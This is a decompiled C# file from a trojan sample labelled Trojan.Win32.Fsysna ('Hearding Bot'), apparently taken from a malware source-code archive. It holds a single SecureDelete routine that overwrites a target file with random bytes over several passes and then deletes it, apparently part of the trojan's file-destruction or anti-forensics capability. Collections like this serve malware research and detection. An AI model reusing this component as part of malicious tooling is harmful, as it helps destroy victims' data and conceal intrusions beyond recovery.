MalwareSourceCode/MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.dljm-a7abcca3397d1344b43d53c1427609ca1808f1991c5d2b158fd67c1ea3e6f19a/DeleteFile.cs
2022-08-18 06:28:56 -05:00

56 lines
1.6 KiB
C#

// Decompiled with JetBrains decompiler
// Type: Hearding_Bot.DeleteFile
// Assembly: Hearding Bot, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 931E7B23-EA6E-4139-8BD0-1A4E0BF9E258
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Fsysna.dljm-a7abcca3397d1344b43d53c1427609ca1808f1991c5d2b158fd67c1ea3e6f19a.exe
using System;
using System.IO;
namespace Hearding_Bot
{
internal class DeleteFile
{
public static bool SecureDelete(string resourceName, int passes)
{
if (passes > 0 && passes <= 10)
{
if (File.Exists(resourceName))
{
BinaryWriter binaryWriter;
try
{
binaryWriter = new BinaryWriter((Stream) new FileStream(resourceName, FileMode.Open, FileAccess.ReadWrite, FileShare.None));
}
catch
{
return false;
}
long length = binaryWriter.BaseStream.Length;
if (length <= 0L)
return false;
Random random = new Random();
for (int index1 = 0; index1 < passes; ++index1)
{
binaryWriter.Seek(0, SeekOrigin.Begin);
for (long index2 = 0; index2 < length; ++index2)
binaryWriter.Write((char) random.Next(0, 256));
binaryWriter.Flush();
}
binaryWriter.Close();
try
{
File.Delete(resourceName);
}
catch
{
return false;
}
return true;
}
}
return false;
}
}
}